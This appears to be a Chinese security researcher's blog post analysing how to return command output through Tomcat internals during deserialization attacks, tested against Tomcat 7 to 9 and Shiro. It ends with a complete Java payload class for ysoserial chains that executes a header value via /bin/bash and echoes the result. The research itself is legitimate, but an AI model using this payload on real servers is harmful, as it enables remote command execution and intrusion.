Lucifaer's Blog.

Tomcat通用回显学习

Word count: 3,077 / Reading time: 13 min
2020/05/12 Share

最近两个月都在写通用的Java漏洞利用框架没怎么跟进最新的技术文章,现在项目终于到了一个较为稳定的阶段终于有时间可以学习一下这两个月中的技术文章了。给我印象比较深刻的是LandGrey李三kingkkLitch1threedr3am几位师傅对于Tomcat通用回显方式的总结。最开始我没看几位师傅的文章自己调了一下,找到了Litch1、和李三师傅的回显思路,本篇主要用于记录个人的调试学习过程。

0x01 思考

在寻找解决方案前来思考一下具体的需求是什么,我个人的需求如下:

  • 以中间件为依托完成回显功能
  • 兼容所有情况(包括Filter插件,以Shiro为例)
  • 包含中间件所有版本

以中间件为依托完成回显功能的优势是:

  • 跨平台通用
  • 原生支持性好,不会出现连接中断的现象

综上,可以看到我们需要一种在Tomcat Filter处理逻辑之前就将执行结果写入返回包的回显方式。

简单的写一个servlet,看一下Tomcat的调用栈。这里我调试的Tomcat版本为8.5.47,不同的Tomcat版本处理逻辑相同,但是其中的部分数据结构有所改变。

为了保证类似Shiro这里Filter应用也可以完成回显,就需要在Tomcat执行该Filter之前将执行结果写入response中。所以核心的切入点就是跟踪Http11Processor的前后处理逻辑,尝试获取本次请求,并将结果写入返回包中。

0x02 寻找利用链

寻找利用链主要分为两步,获取本次请求、获取返回包。

2.1 获取返回包

首先查看Http11Processor处的逻辑:

主要是调用对应的适配器,并将requestresponse作为参数传入service()方法中。通过这一部分代码可以得出两点结论:

  • requestresponse对象是在此之前就完成初始化的。
  • 此处使用了适配器模式,证明有多个Processor的执行逻辑是相同的。同时适配器的初始化也是在此前完成的,而适配器的初始化过程中必定存在将本次连接内容保存下来的属性。

向上跟踪一下requestresponse对象,发现是在AbstractProcessor抽象类的一个属性,且在构造函数中完成初始化:

Http11Processor继承于AbstractProcessor,具体的继承树为:

Http11Processor的构造方法中调用了父类的构造方法,完成requestresponse对象的初始化:

ok,目前我们已经知道requestresponse对象在什么地方完成的初始化,同时也知道了request对象中包含response对象,也就是说我们后面只需要关心如何获取request对象即可。接下来看一下是否有相关的方法可以调用到request这个protected对象:

AbstractProcessor抽象类中提供了getRequest()方法来获取request对象,同时在Request类中也存在相应的方法获取到Response对象:

如果想要将执行结果写入返回包的包体中,调用Response.doWrite()方法即可,如果想要写到返回包包头中,调用Response.setHeader()方法即可。

总结一下,目前我们找了获取返回包并写入内容的调用链:

1
2
3
4
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

2.2 获取Processor对象

在2.1中我们已经完成了回显的后半部分即获取Response,并将内容写入的部分,但是如果想要利用这个调用链,我们就必须继续向上跟踪,找到符合本次请求的Http11Processor对象。

想要寻找本次请求的Http11Processor对象,就需要从Processor对象的初始化看起,具体的初始化代码在ConnectionHandler#process中:

connnections对象是ConnectionHandler中定义的一个Map,用于存放socket-processor对象。在这段代码中可以清楚的看到,首次访问时connections中并不存在processor,所以会触发Processor的初始化流程及注册操作。跟进register()方法,查看Tomcat是如何完成Processor注册的。

这段代码有个非常有意思的地方,我们可以注意到register()方法的关键就是将RequestInfo进行注册,但是在注册前会调用rp.setGlobalProcessor(global);我们来具体看一下global是什么:

可以看到RequestGroupInfo类中存在RequestInfo的一个列表,在RequestInfosetGlobalProcessor()方法中又将RequestInfo对象本身注册到RequestGroupInfo中:

所以global中所保存的内容和后面调用Registry.registerComponent()方法相同。也就是说有两种思路获取Processor对象:

  • 寻找获取global的方法
  • 跟踪Registry.registerComponent()流程,查看具体的RequestInfo对象被注册到什么地方了

两种方法对应了Litch1李三师傅的两种获取方式。

2.2.1 获取global

想要获取global就需要获取到AbstractProtocolAbstractProtocol实现了ProtocolHandler,也就是说只要能找到获取ProtocolHandler实现类的方法就可以调用AbstractProtocolConnectionHandler静态类。依赖树如下:

所以调用链就变成了:

1
2
3
4
5
6
7
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

到此为止我们已经找到大半部分的调用链了,那如何找到获取ProtocolHandler的方法呢?这需要向下看,看具体调用时是如何触发的。Tomcat使用了Coyote框架来封装底层的socket连接数据,在Coyote框架中包含了核心类ProtocolHandler,主要用于接收socket对象,再交给对应协议的Processor类,最后由Processor类交给实现了Adapter接口的容器。

在调用栈中也可以看出这一流程:

这里直接跟进一下CoyoteAdapter#service

这里主要负责将org.apache.coyote.Requestorg.apache.coyote.Response转换为org.apache.catalina.connector.Requestorg.apache.catalina.connector.Response,如果还未注册为notes,则调用connectorcreateRequest()createResponse()方法创建对应的RequestResponse对象。

而关键的调用为:

可以简单的理解一下:CoyoteAdapter通过connector对象来完成后续流程的,也就是说在connector对象中保存着和本次请求有关的所有信息,较为准确的说法是在Tomcat初始化StandardService时,会启动ContainerExecutormapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中,从上面的代码中也可以看出一些端倪。所以直接看一下Connection类:

其中有public方法getProtocolHandler()可以直接获得ProtocolHandler。所以调用链就变成了:

1
2
3
4
5
6
7
8
Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

就如上文所说,Connector是在Tomcat初始化StandardService时完成初始化的,初始化的具体代码在org.apache.catalina.core.StandardService#initInternal

而在初始化StandardService之前就已经调用org.apache.catalina.startup.Tomcat#setConnector完成Connector设置了:

所以再次梳理一下调用链:

1
2
3
4
5
6
7
8
9
StandardService ->
Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

最终的问题就是如何获得StandardService了,这里可以利用打破双亲委派的思路,这一点在我写Java攻击框架时用过,就是利用Thread.getCurrentThread().getContextClassLoader()来获取当前线程的ClassLoader,从resources当中寻找即可。

具体的利用代码这里就不再赘述了,可以直接看Litch1师傅分享出的代码

2.2.2 从Registry中获取

其实回顾一下2.2.1中所提到的内容,无非是从Connector入手拿到ProtocolHandler。其实再仔细看一下Connector类的依赖树就可以发现其实所有的参数并非是单独存放在这些类中的一个属性中的,而是都被注册到了MBeanServer中的:

所以其实更加通用的方式就是直接通过MBeanServer来获得这个参数。

我们在2.2中看到了ConnectionHandler是用Registry.getRegistry(null, null).registerComponent(rp,rpName, null);RequestInfo注册到MBeanServer中的,那么我们跟进看一下Registry类中有什么方法可以供我们获得MBeanServer,只要拿到了MBeanServer,就可以从其中拿到被注册的RequestInfo对象了。

Registry类中提供了getMBeanServer()方法用于获得(或创建)MBeanServer。在JmxMBeanServer中,其mbsInterceptor对象存放着对应的MBeanServer实例,这个mbsInterceptor对象经过动态调试就是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor。在DefaultMBeanServerInterceptor存在一个Repository属性由于将注册的MBean进行保存,我们这里可以直接使用com.sun.jmx.mbeanserver.Repository#query方法来筛选出所有注册名(其实就是具体的每次请求)包含http-nio-*(*为具体的tomcat端口号)的BaseModelMBean对象:

这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。其中object.resource.processors中就保存着请求的RequestInfo对象,至此就可以通过RequestInfo对象的req属性来得到请求的Response对象,完成回显。

总结一下调用链:

1
2
3
4
5
6
7
8
9
Registry.getRegistry(null, null).getMBeanServer() ->
JmxMBeanServer.mbsInterceptor ->
DefaultMBeanServerInterceptor.repository ->
Registory#query ->
RequestInfo ->
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

0x03 利用

具体的调用逻辑在2.2.1和2.2.2中都有总结,总体来说就是用反射一点点完成构造,这里我只罗列2.2.2中的方法,因为2.2.2的方法更为通用,可以经测试在Tomcat7、8、9中都可以使用。需要注意有以下几点:

  • Tomcat7及低版本Tomcat8(具体版本没有测试,实验用版本为8.5.9)中,在最终将结果写入Response时需要使用ByteChunk而非ByteBuffer
  • Tomcat9及高版本Tomcat8(试验用版本为8.5.47)只能使用ByteBuffer

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package com.lucifaer.tomcatEcho;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.modeler.Registry;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.*;

/**
* @author Lucifaer
* @version 4.1
*/
public class Tomcat8 extends AbstractTranslet {
public Tomcat8() {
try {
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);

field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(mbsInterceptor);
Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);

Iterator<NamedObject> it = set.iterator();
while (it.hasNext()) {
NamedObject namedObject = it.next();
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name");
field.setAccessible(true);
ObjectName flag = (ObjectName) field.get(namedObject);
String canonicalName = flag.getCanonicalName();

field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object obj = field.get(namedObject);

field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object resource = field.get(obj);

field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList processors = (ArrayList) field.get(resource);

field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
for (int i=0; i < processors.size(); i++) {
Request request = (Request) field.get(processors.get(i));
String header = request.getHeader("lucifaer");
System.out.println("cmds is:" + header);
System.out.println(header == null);
if (header != null && !header.equals("")) {
String[] cmds = new String[] {"/bin/bash", "-c", header};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String out = "";

while (s.hasNext()) {
out += s.next();
}

byte[] buf = out.getBytes();
if (canonicalName.contains("nio")) {
ByteBuffer byteBuffer = ByteBuffer.wrap(buf);
// request.getResponse().setHeader("echo", out);
request.getResponse().doWrite(byteBuffer);
request.getResponse().getBytesWritten(true);
}
else if (canonicalName.contains("bio")) {
//tomcat 7使用需要使用ByteChunk来将byte写入
// ByteChunk byteChunk = new ByteChunk();
// byteChunk.setBytes(buf, 0, buf.length);
// request.getResponse().doWrite(byteChunk);
// request.getResponse().getBytesWritten(true);
}

}
}
}

}catch (Throwable throwable) {
throwable.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

具体如何将其加入Ysoserial,可以参考李三师傅的方式

利用效果如下:

测试普通JSP

测试shiro

0x04 Reference

CATALOG
  1. 1. 0x01 思考
  2. 2. 0x02 寻找利用链
    1. 2.1. 2.1 获取返回包
    2. 2.2. 2.2 获取Processor对象
      1. 2.2.1. 2.2.1 获取global
      2. 2.2.2. 2.2.2 从Registry中获取
  3. 3. 0x03 利用
  4. 4. 0x04 Reference